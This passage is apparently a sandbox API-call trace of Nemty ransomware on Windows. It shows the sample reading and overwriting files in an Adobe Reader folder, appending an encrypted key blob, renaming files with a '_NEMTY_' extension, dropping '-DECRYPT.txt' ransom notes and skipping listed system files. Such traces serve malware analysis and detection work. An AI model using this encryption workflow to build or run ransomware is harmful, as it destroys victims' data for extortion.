dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.642] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=15360) returned 1 [0183.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3c00) returned 0x6352c48 [0183.642] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.642] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3c00, lpOverlapped=0x0) returned 1 [0183.647] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.647] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3c00, lpOverlapped=0x0) returned 1 [0183.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.647] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=15360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3c00 [0183.648] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.648] CloseHandle (hObject=0x2e8) returned 1 [0183.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.648] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\SendMail.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\sendmail.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\SendMail.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\sendmail.sky._nemty_kgobjgd_")) returned 1 [0183.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.649] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0183.649] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0183.649] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0183.649] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0183.649] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0183.649] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0183.649] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0183.649] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0183.649] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0183.649] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0183.649] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0183.649] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0183.649] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0183.649] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0183.649] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0183.649] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0183.649] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0183.649] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0183.649] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0183.650] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0183.650] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0183.650] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0183.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0183.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0183.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0183.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0183.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0183.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0183.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0183.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0183.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0183.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.650] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.652] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.652] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0183.653] CloseHandle (hObject=0x2e8) returned 1 [0183.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0183.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0183.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0183.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0183.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0183.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0183.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0183.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0183.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.654] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.654] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.654] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0183.655] CloseHandle (hObject=0x2e8) returned 1 [0183.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0183.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0183.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.655] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x211aff30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x211aff30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0183.655] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0183.655] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x211aff30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x211aff30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.656] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0183.656] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0183.656] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0183.656] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0183.656] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0183.656] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0183.656] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0183.656] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0183.656] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0183.656] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0183.656] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0183.656] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0183.656] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0183.656] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0183.656] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0183.656] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0183.656] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0183.656] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0183.656] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0183.656] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0183.656] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0183.656] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0183.656] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0183.656] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0183.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.656] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.656] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0183.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0183.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0183.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0183.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0183.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0183.657] Sleep (dwMilliseconds=0x5) [0183.672] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x211fc1f0, dwHighDateTime=0x1d561e8)) [0183.672] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x211fc1f0, dwHighDateTime=0x1d561e8)) [0183.672] GetLastError () returned 0xb7 [0183.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.672] GetLastError () returned 0xb7 [0183.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.673] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0183.673] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0183.673] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0183.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0183.673] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="WU4oiP509PMKywosvWl8Rt16zr8+xZK5Asqnu8rAKEQi6RWoOXVyBHzWOJdEomqh\r\ntj3nSuL1TLnm0yMlR361aRlpRZ9KBOkz8sOTHb08GOQ7hUp7wocCzj5f7RSsyvAx\r\nBY23RmfNf6CjE6OKCKlGgJSYqTs2yVnQyAVAzhRExGXMKNmG9FdUNvcrhQuG/Z/G\r\nrcQCVIgm+jn9KjDRo2Qs/JPRdQZa2j+y5FwXVfwLADbgUOdQ8wo4sJsbBCsGwV3q\r\nNU8nMtn2moDQA+UmS98Gumu6sSm9EqgMIqhNzqiTVY9qN0lOhnq3f1Dh9s3z+BkI\r\nYyO8NU4qLXF8Mu8GTWKgRg==\r\n", pcchString=0x653e29c) returned 1 [0183.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0183.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0183.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.673] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0183.673] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=38345) returned 1 [0183.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x95c0) returned 0x6352c48 [0183.673] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.673] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x95c0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x95c0, lpOverlapped=0x0) returned 1 [0183.678] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.678] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x95c0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x95c0, lpOverlapped=0x0) returned 1 [0183.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.678] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=38345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x95c9 [0183.678] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0183.678] CloseHandle (hObject=0x2f0) returned 1 [0183.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 